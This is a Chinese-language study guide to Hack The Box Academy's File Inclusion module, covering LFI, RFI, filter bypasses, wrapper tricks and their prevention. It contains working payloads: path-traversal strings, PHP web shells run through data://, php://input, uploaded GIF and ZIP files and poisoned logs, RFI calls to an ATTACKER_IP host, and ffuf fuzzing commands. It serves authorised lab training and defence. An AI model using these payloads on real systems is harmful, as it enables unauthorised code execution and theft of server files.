来源:Hack The Box Academy,Module 23。本文按照漏洞发现、读取文件、过滤绕过、代码执行路径和防御方法重新组织,不是网页逐句复制。仅用于 HTB 或明确授权的测试环境。

0. 本章知识地图
发现用户可控的文件路径
→ 判断读取还是执行、LFI 还是 RFI
→ 验证路径遍历并识别服务器环境
→ 针对固定前缀、扩展名和过滤器进行测试
→ 用 PHP Filter 读取源码
→ 条件允许时使用 Wrapper / RFI / 上传文件 / 日志包含验证 RCE
→ 用字典和 Fuzzing 扩大文件枚举范围
→ 使用规范化路径、允许列表和最小权限修复
章节结构
- Intro to File Inclusions
- Local File Inclusion (LFI)
- Basic Bypasses
- PHP Filters
- PHP Wrappers
- Remote File Inclusion (RFI)
- LFI and File Uploads
- Log Poisoning
- Automated Scanning
- File Inclusion Prevention
- Skills Assessment - File Inclusion
前置知识与环境
- Linux 文件系统、相对路径和绝对路径;
- HTTP GET/POST 参数与 URL 编码;
- PHP、NodeJS、Java 或 .NET 的基本后端概念;
- 能使用浏览器、Burp Suite 或 curl 修改请求;
- 高级实验可能需要 Pwnbox IP、可达监听端口、PHP CLI、Python 3、ffuf 和 SecLists;
- 所有读取与代码执行测试必须限定在授权靶场。
1. Intro to File Inclusions:文件包含的根因
现代 Web 应用会根据用户选择动态加载模板、语言文件或页面片段。例如:
/index.php?page=about
/index.php?language=en
/about/en
如果应用直接把用户控制的值作为文件路径传给读取或包含函数,攻击者就可能改变路径,访问开发者原本没有打算公开的文件。
1.1 易受攻击的代码形态
PHP:
if (isset($_GET['language'])) {
include($_GET['language']);
}
NodeJS:
if (req.query.language) {
fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
res.write(data);
});
}
Express 模板路径:
app.get('/about/:language', function (req, res) {
res.render(`/${req.params.language}/about.html`);
});
Java/JSP:
<jsp:include file="<%= request.getParameter("language") %>" />
.NET:
@Html.Partial(HttpContext.Request.Query["language"])
共同根因是:不可信输入直接影响文件定位或模板加载。
1.2 读取与执行必须区分
技术/函数 读取内容 执行代码 可处理远程 URL PHP include() / include_once() 是 是 取决于配置 PHP require() / require_once() 是 是 通常仅本地 PHP file_get_contents() 是 否 可 PHP fopen() / file() 是 否 取决于配置 NodeJS fs.readFile() / sendFile() 是 否 否 NodeJS res.render() 是 可渲染/执行模板 否 Java include 是 否 否 Java import 是 可 可 .NET @Html.Partial() 是 否 否 .NET include 是 可 可
“能读取文件”不等于“能执行其中的代码”。后续利用路线取决于具体函数、语言和配置。
1.3 可能造成的影响
- 读取 /etc/passwd 等系统信息;
- 泄露应用源码、数据库连接信息、API 密钥;
- 读取日志、SSH 密钥、Web 配置;
- 配合文件上传或日志写入实现代码执行;
- RFI 条件满足时直接包含远程代码。
2. Local File Inclusion:识别 LFI 与路径遍历
2.1 先建立正常基线
观察正常参数如何映射到文件:
?language=en.php
?page=about
需要确认:
- 参数值是否带扩展名;
- 应用是否自动加目录或扩展名;
- 响应是文件原文还是执行后的结果;
- 错误信息是否泄露完整路径;
- 参数位于查询串、POST、Cookie 还是 URL 路径。
2.2 基础路径遍历
Linux 常用探测目标:
/etc/passwd
绝对路径示意:
?language=/etc/passwd
相对路径示意:
?language=../../../../etc/passwd
每个 ../ 返回上一级目录。无法事先确定深度时,可逐步增加并比较响应。
2.3 为什么常用 /etc/passwd
- 大多数 Linux 系统存在;
- 通常全体用户可读;
- 内容结构明显,便于确认文件读取;
- 不包含密码哈希,验证影响相对有限。
典型内容格式:
root:x:0:0:root:/root:/bin/bash
2.4 文件路径枚举
确认 LFI 后,应结合系统和 Web 技术选择目标,而不是随机猜测:
/etc/passwd
/etc/hosts
/proc/self/environ
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/www/html/index.php
Windows 常见验证目标:
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
路径是否存在、是否可读以及内容是否显示,受操作系统、服务账户权限和应用函数影响。
2.5 结果解释
现象 可能原因 返回文件原文 使用读取函数,或非代码文件被 include PHP 文件内容不显示 文件被执行而非作为文本输出 页面空白 路径错误、权限不足、执行后无输出 报错泄露完整路径 可用于推断工作目录和拼接逻辑 始终加载默认页面 参数被允许列表限制或请求位置不正确
3. Basic Bypasses:基础过滤和路径限制测试
过滤绕过必须先理解应用做了什么:删除 ../、固定目录、追加扩展名,还是比较字符串。
3.1 非递归路径遍历过滤
如果应用只执行一次替换:
$language = str_replace('../', '', $_GET['language']);
嵌套写法可能在删除内层后重新组成 ../:
....//
..././
示意:
?language=....//....//....//etc/passwd
如果应用递归规范化或使用安全路径解析,此方法不会奏效。
3.2 URL 编码
代理、Web 服务器和应用可能在不同阶段解码。常见编码表示:
../ → %2e%2e%2f
../ → %2e%2e/
/ → %2f
双重编码示意:
%252e%252e%252f
应通过 Burp 或 curl 检查实际发送的字节,避免浏览器自动规范化 URL。
3.3 固定前缀
应用可能强制路径以指定目录开头:
if (strpos($_GET['language'], './languages/') === 0) {
include($_GET['language']);
}
可保留合法前缀后再遍历:
./languages/../../../../etc/passwd
3.4 追加扩展名
应用可能自动拼接 .php:
include('languages/' . $_GET['language'] . '.php');
此时实际路径并非攻击者输入本身。旧版 PHP 曾可能使用空字节截断:
../../../../etc/passwd%00
课程强调这是旧版本技术;现代 PHP 已修复,不能把它当作通用方法。
3.5 路径长度截断
某些旧环境对路径长度有限制,超长字符串可能截断被追加的扩展名。该技术同样依赖旧版本和具体实现,现代环境一般不应期待成功。
3.6 规范化的重要性
以下字符串可能解析到相同位置:
../../etc/passwd
....//....//etc/passwd
./languages/../../etc/passwd
防御和测试都应关注规范化后的真实路径,而不是只比较原始字符串。
4. PHP Filters:读取 PHP 源代码
直接包含 PHP 文件时,服务器通常会执行代码,因此看不到源码。PHP Stream Filter 可在 include 前转换文件内容。
4.1 Base64 编码读取
php://filter/read=convert.base64-encode/resource=config.php
放入参数:
?language=php://filter/read=convert.base64-encode/resource=config.php
页面返回 Base64 文本后,在本地解码:
echo '<BASE64_DATA>' | base64 -d
4.2 使用 curl 获取并解码
curl -s 'http://target/index.php?language=php://filter/read=convert.base64-encode/resource=config.php'
如果响应混有 HTML,需要先从页面中提取纯 Base64 字符串,再进行解码。
4.3 为什么 Filter 有效
原 PHP 文件
→ convert.base64-encode Filter
→ 变为不再具有 PHP 语法的文本
→ include 输出编码结果而不是执行原代码
4.4 适用目标
- index.php 和路由文件;
- 数据库配置文件;
- 认证和权限逻辑;
- 应用中被其他页面包含的 PHP 文件。
源码可能暴露更多路径、参数、凭据和可利用逻辑,但应按评估目标最小化读取范围。
4.5 排错
- 返回空白:资源路径错误或应用追加了不兼容扩展名。
- 返回普通页面:参数未进入文件函数或 wrapper 被过滤。
- Base64 解码失败:响应夹杂 HTML、错误消息或换行。
- 只能读取某目录:存在固定前缀或 open_basedir 限制。
5. PHP Wrappers:从数据流到代码执行
PHP Wrapper 为不同资源提供统一访问形式。能否利用取决于 PHP 配置、函数类型和版本。
5.1 data:// Wrapper
data:// 可以把内联内容作为资源:
data://text/plain,<?php phpinfo(); ?>
Base64 形式:
echo '<?php system($_GET["cmd"]); ?>' | base64
得到编码后:
data://text/plain;base64,<BASE64_DATA>
放入易受攻击参数并在授权实验中附加命令参数:
?language=data://text/plain;base64,<BASE64_DATA>&cmd=id
前置条件通常包括:
- 使用的是会执行内容的包含函数;
- allow_url_include 已启用;
- data:// 未被过滤;
- 请求编码正确。
5.2 php://input
php://input 代表原始请求体。如果应用包含它,POST Body 中的 PHP 代码可能被执行:
curl -s -X POST \
--data '<?php system($_GET["cmd"]); ?>' \
'http://target/index.php?language=php://input&cmd=id'
常见前置条件同样是 allow_url_include 与可执行的包含函数。
5.3 expect://
expect:// 可以执行系统命令,但依赖额外的 PHP Expect 扩展,默认通常未安装:
?language=expect://id
因此它是特殊环境技术,不应作为首选假设。
5.4 Wrapper 选择表
目标 Wrapper 主要前置条件 读取 PHP 源码 php://filter 文件可访问,Filter 未禁用 包含内联代码 data:// allow_url_include=On,函数会执行 包含 POST Body php://input 可执行 include,配置允许 直接执行命令 expect:// Expect 扩展已安装
5.5 配置判断
如果可以读取 PHP 配置或 phpinfo() 输出,重点检查:
allow_url_fopen
allow_url_include
open_basedir
disable_functions
配置失败不等于 LFI 不存在,只说明某条升级到 RCE 的路线不可用。
6. Remote File Inclusion:远程文件包含
RFI 指应用从远程 URL 加载文件。与只读取远程内容不同,如果使用 PHP include() 等执行型函数,远程 PHP 内容可能在目标服务器上执行。
6.1 主要前置条件
- 易受攻击函数支持 URL;
- PHP 环境中 allow_url_fopen=On;
- 对 PHP URL include,通常还需要 allow_url_include=On;
- 目标服务器能访问攻击机 HTTP/FTP/SMB 服务;
- 参数没有阻止 URL Scheme;
- 包含函数会执行远程内容。
6.2 准备授权实验文件
建立简单测试脚本:
<?php system($_GET['cmd']); ?>
在文件目录启动 HTTP 服务:
sudo python3 -m http.server 80
首次使用要求:
- Python 3 已安装;
- 80 端口未占用,低端口需要管理员权限;
- Pwnbox IP 可从目标访问;
- 当前目录只放置准备公开的实验文件。
6.3 HTTP RFI 示例
?language=http://ATTACKER_IP/shell.php&cmd=id
6.4 FTP 服务
章节还介绍可通过 FTP 提供远程文件。Python 可安装并启动简单 FTP 服务:
sudo pip3 install pyftpdlib
sudo python3 -m pyftpdlib -p 21
然后在允许 FTP URL 的实验中使用:
?language=ftp://ATTACKER_IP/shell.php&cmd=id
6.5 SMB 方式
Windows 或允许 UNC 路径的环境可能访问:
\\ATTACKER_IP\share\shell.php
攻击机可使用 Impacket SMB Server:
sudo impacket-smbserver -smb2support share $(pwd)
SMB 方式依赖目标网络出站访问和路径处理,也会产生认证与网络痕迹。
6.6 RFI 与 SSRF/读取远程内容的区别
- 能访问远程 URL 不一定会执行返回内容;
- file_get_contents() 可能只获取远程文本;
- include() 在配置允许时可能解析并执行;
- 观察攻击机服务日志只能证明目标发起请求,不能单独证明代码执行。
7. LFI and File Uploads:包含已上传文件
当 RFI 和 Wrapper 不可用时,若应用允许上传文件并能确定服务器上的实际路径,LFI 可能包含该文件并执行其中代码。
7.1 攻击链
上传包含服务器端代码的文件
→ 确定上传后的服务器路径
→ LFI 参数包含该路径
→ 执行型 include 解析文件内容
7.2 文件内容与扩展名
即使上传功能只允许图片扩展名,包含函数是否执行内容通常取决于 LFI 所在语言环境,而不只看文件扩展名。课程演示在图片内容中加入 PHP 代码,再通过 LFI 包含。
示意:
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
GIF8 用于让文件具有简单图片标识;它并不能绕过所有真实上传校验。
7.3 确定上传路径
可从以下位置寻找:
- 上传成功后的图片 URL;
- 页面 HTML 中的 src;
- 应用源码或错误信息;
- 约定目录,如 /uploads/;
- 数据库或 API 返回的文件名。
URL 路径与文件系统路径不一定相同。例如 /uploads/a.gif 可能映射到 /var/www/html/uploads/a.gif。
7.4 包含示例
?language=./profile_images/shell.gif&cmd=id
成功条件:
- 上传内容未被重写或重新编码;
- 可推断实际路径;
- Web/数据库生成的文件名已知;
- LFI 使用会执行 PHP 的函数;
- PHP 进程对文件有读取权限。
7.5 ZIP Wrapper
课程还介绍通过 zip:// 包含归档中的 PHP 文件:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.jpg shell.php
包含形式:
zip://./uploads/shell.jpg%23shell.php&cmd=id
# 在 URL 中需要编码为 %23。此路线依赖 PHP ZIP 扩展和应用能够上传归档内容。
7.6 PHAR Wrapper
phar://./uploads/shell.jpg/shell.txt
PHAR 同样依赖扩展、归档结构和 PHP 配置。Wrapper 路线失败时应回到“文件是否存在、路径是否正确、函数是否执行、扩展是否安装”逐项判断。
8. Log Poisoning:日志写入与包含
Web 服务器通常把请求路径或 User-Agent 写入访问日志。若能控制日志内容,再通过 LFI 包含日志,PHP 代码可能被执行。
8.1 基本链路
向请求头或 URL 写入 PHP 代码
→ Web 服务器把内容记录到日志
→ LFI 包含日志文件
→ include 解析日志中的 PHP 代码
8.2 Apache 日志路径
常见位置:
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/httpd/access_log
Nginx 常见位置:
/var/log/nginx/access.log
实际路径取决于发行版和 Web 服务器配置。
8.3 注入 User-Agent
在授权靶场中使用 curl:
curl -s 'http://target/' \
-A '<?php system($_GET["cmd"]); ?>'
随后包含日志:
?language=/var/log/apache2/access.log&cmd=id
8.4 前置条件
- 已确认 LFI;
- Web 服务器记录可控字段;
- PHP/Web 服务账户能读取日志;
- LFI 使用执行型 include;
- 日志路径正确;
- 日志中的 PHP 代码未被转义或清洗。
8.5 SSH 日志
如果 SSH 认证日志可读,用户名可能进入日志:
ssh '<?php system($_GET["cmd"]); ?>'@target
常见日志:
/var/log/auth.log
/var/log/secure
这种方法依赖日志格式、读取权限和 SSH 服务是否开放。
8.6 邮件日志
某些系统的邮件服务会把邮件内容或相关字段写入日志,理论上也可与 LFI 组合。课程的重点是理解“找到可控且可读的服务器文件”,而不是固定依赖某个日志。
8.7 风险与清理
日志污染会留下持久记录,且包含整个日志可能执行历史中其他意外内容。实验应使用最小命令,记录所写内容,并避免在真实生产日志中进行无授权测试。
9. Automated Scanning:自动化文件发现
确认参数具有 LFI 特征后,可用 Fuzzing 扩大覆盖面。自动化不能替代对固定前缀、扩展名和响应差异的分析。
9.1 参数 Fuzzing
如果不知道参数名,可对常见参数进行测试:
ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-u 'http://target/index.php?FUZZ=value' \
-fs <baseline_size>
9.2 LFI Payload Fuzzing
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-u 'http://target/index.php?language=FUZZ' \
-mr 'root:x:0:0:'
参数说明:
- -w:字典路径;
- -u:目标 URL,FUZZ 为替换位置;
- -mr:用正则/文本匹配成功响应;
- -fs:过滤固定响应大小;
- -mc:只保留指定状态码。
9.3 首次使用前提
- Pwnbox 通常预装 ffuf 和 SecLists;
- 本地环境需要先确认命令和字典存在;
- 目标参数和基线响应已人工验证;
- 字典请求量符合授权范围;
- 认证页面需带 Cookie 或完整请求头。
9.4 从服务器文件列表构造字典
课程提供常见 Linux 和 Windows 文件路径列表的思路。应根据已识别的操作系统、Web 服务器和应用语言选择字典,避免向 Linux 目标发送大量 Windows 路径或反之。
9.5 服务器日志与配置 Fuzzing
ffuf -w Linux-logs.txt \
-u 'http://target/index.php?language=FUZZ' \
-fs <baseline_size>
找到可读日志后,再判断是否存在可控写入点。仅能读取日志不等于能够通过日志实现代码执行。
9.6 自动化结果验证
每个候选结果都要手工重放并确认:
- 返回内容是否确实属于目标文件;
- 是否只是统一错误页面;
- 状态码和响应大小差异是否稳定;
- 参数编码是否与 Fuzzer 一致;
- 是否因为服务器暂时错误产生假阳性。
10. File Inclusion Prevention:安全设计与修复
10.1 最佳方案:不要让输入成为路径
使用固定映射:
$pages = [
'en' => 'languages/en.php',
'es' => 'languages/es.php'
];
if (isset($pages[$_GET['language']])) {
include($pages[$_GET['language']]);
}
用户只能提交业务标识,服务器决定真实文件路径。
10.2 输入验证
如果业务只允许语言代码:
if (!preg_match('/^[a-z]{2}$/', $language)) {
die('Invalid language');
}
验证应采用允许列表,而不是只删除 ../、/ 或关键字。
10.3 路径规范化与目录边界
$base = realpath(__DIR__ . '/languages');
$path = realpath($base . '/' . $userFile);
if ($path === false || strpos($path, $base . DIRECTORY_SEPARATOR) !== 0) {
die('Invalid path');
}
先用 realpath() 解析最终路径,再确认它仍位于允许目录中。必须处理目标不存在时 realpath() 返回 false 的情况。
10.4 安全配置
- 关闭不需要的 allow_url_include;
- 视业务需要关闭或限制 allow_url_fopen;
- 使用 open_basedir 限制 PHP 可访问目录;
- 禁用不必要的危险函数和扩展;
- Web 服务账户只授予必要的文件读取权限;
- 日志和上传目录不要允许应用执行脚本。
配置是纵深防御,不能代替代码中的安全路径映射。
10.5 上传安全
- 上传文件存放在 Web 根目录之外;
- 使用随机服务器文件名;
- 不信任客户端扩展名和 MIME;
- 对图片进行重编码;
- 上传目录禁止脚本执行;
- 应用下载文件时使用内部 ID 映射,而不是直接接受路径。
10.6 错误处理
生产环境不应向用户显示完整文件路径、调用栈或 PHP Warning。详细错误写入受保护日志,前端返回通用错误。
10.7 修复验收
- 正常合法页面仍能加载。
- ../、编码变体和绝对路径均无法逃离允许目录。
- php://、data://、<http://> 等 Scheme 被拒绝。
- 不存在依赖后缀拼接的薄弱过滤。
- 上传和日志目录无法作为可执行包含源。
- 服务账户无法读取不必要的系统或应用秘密。
11. Skills Assessment:综合解题工作流
阶段一:识别入口
- 修改语言、主题、模板、页面名称等参数;
- 检查 URL 路径参数、GET/POST、Cookie;
- 用唯一文件名或正常页面值建立基线;
- 记录错误中泄露的目录和自动追加内容。
阶段二:验证 LFI
绝对路径 /etc/passwd
→ 不成功则测试相对路径深度
→ 判断固定前缀、后缀和过滤
→ 必要时测试编码或非递归过滤
确认文件内容特征,不能只根据状态码判断。
阶段三:源码与配置枚举
优先使用 php://filter 读取应用入口和配置源码:
php://filter/read=convert.base64-encode/resource=index.php
从源码中寻找:
- include 的拼接方式;
- Web 根目录和上传目录;
- 数据库配置、凭据和密钥;
- 可写文件和日志路径;
- 是否允许远程 URL 或 Wrapper。
阶段四:选择 RCE 路线
allow_url_include 开启?
├─ 是:data://、php://input 或 RFI
└─ 否:
├─ 有文件上传? → 包含上传文件
├─ 可写 Web 日志? → 日志污染
└─ 仅文件读取 → 收集证据并停止升级
一次只验证一条路线,并使用 id、whoami 等低影响命令证明执行。
阶段五:自动化扩展与记录
- 用 ffuf 枚举可读文件和参数;
- 根据 Linux/Windows 和服务器类型选字典;
- 保存成功请求、响应特征、文件路径和前置条件;
- 清理上传测试文件和其他可控内容。
实验记录模板
## 入口
- URL/功能:
- 参数位置:GET / POST / Cookie / Path
- 正常值:
- 自动前缀/后缀:
## LFI 验证
- Payload:
- 读取文件:
- 绝对/相对路径:
- 响应特征:
## 过滤与绕过
- 被过滤字符:
- 编码层数:
- 固定前缀:
- 自动扩展名:
## 环境信息
- OS:
- Web 服务器:
- 后端语言:
- 文档根目录:
- allow_url_fopen/include:
- open_basedir:
## 升级路径
- PHP Filter:
- Wrapper:
- RFI:
- 文件上传:
- 日志污染:
## 修复建议
- 允许列表映射:
- 路径规范化:
- 权限/配置:
- 上传/日志隔离:
速查表
目的 形式 关键条件 Linux 文件读取 ../../../../etc/passwd 路径深度和读取权限 绝对路径读取 /etc/passwd 未禁止绝对路径 非递归过滤测试 ....// 过滤仅执行一次 URL 编码遍历 %2e%2e%2f 解码顺序存在差异 PHP 源码读取 php://filter/.../resource=file.php Filter 可用 内联代码 data://text/plain;base64,... allow_url_include、执行型 include POST Body 包含 php://input 配置允许、执行型 include HTTP RFI <http://ATTACKER/file.php> 远程 URL 与出站访问允许 上传文件包含 /uploads/file.gif 可上传、可确定路径、内容未重写 ZIP 包含 zip://archive%23file.php ZIP 扩展与可上传归档 Web 日志包含 /var/log/.../access.log 日志可控、可读、执行型 include 自动枚举 ffuf -w ... -u ...FUZZ 可靠成功匹配规则
常见故障排查
现象 优先检查 /etc/passwd 无输出 路径深度、固定前缀、权限、Windows 后端 PHP 文件空白 被执行;改用 php://filter 读取源码 Base64 无法解码 HTML 混入、复制不完整、资源路径错误 data:// 不执行 allow_url_include、过滤器、include 是否执行 RFI 服务收到请求但没 RCE 目标只读取内容,或远程脚本未被解析 上传文件包含失败 实际路径、随机文件名、文件被重编码、权限 日志不可读 日志路径、服务账户权限、容器化部署 日志有载荷但不执行 使用的是读取函数,或内容被转义 Fuzzing 全部相同 配置 -fs、-mr,重新建立基线
最终记忆框架
文件包含的四个关键问题:
1. 用户能控制路径的哪一部分?
2. 最终规范化后的路径是什么?
3. 后端函数只读取,还是会执行?
4. 服务账户对目标文件具有什么权限?
LFI 成立 ≠ 自动获得 RCE
RCE 需要额外的可控文件来源和执行条件:
Wrapper / RFI / Upload / Log Poisoning
最可靠的解题方式是先证明文件读取,再通过错误和源码恢复应用的真实路径逻辑,最后基于实际配置选择升级路线。盲目堆叠编码、Wrapper 和日志路径,通常比理解数据流更慢。
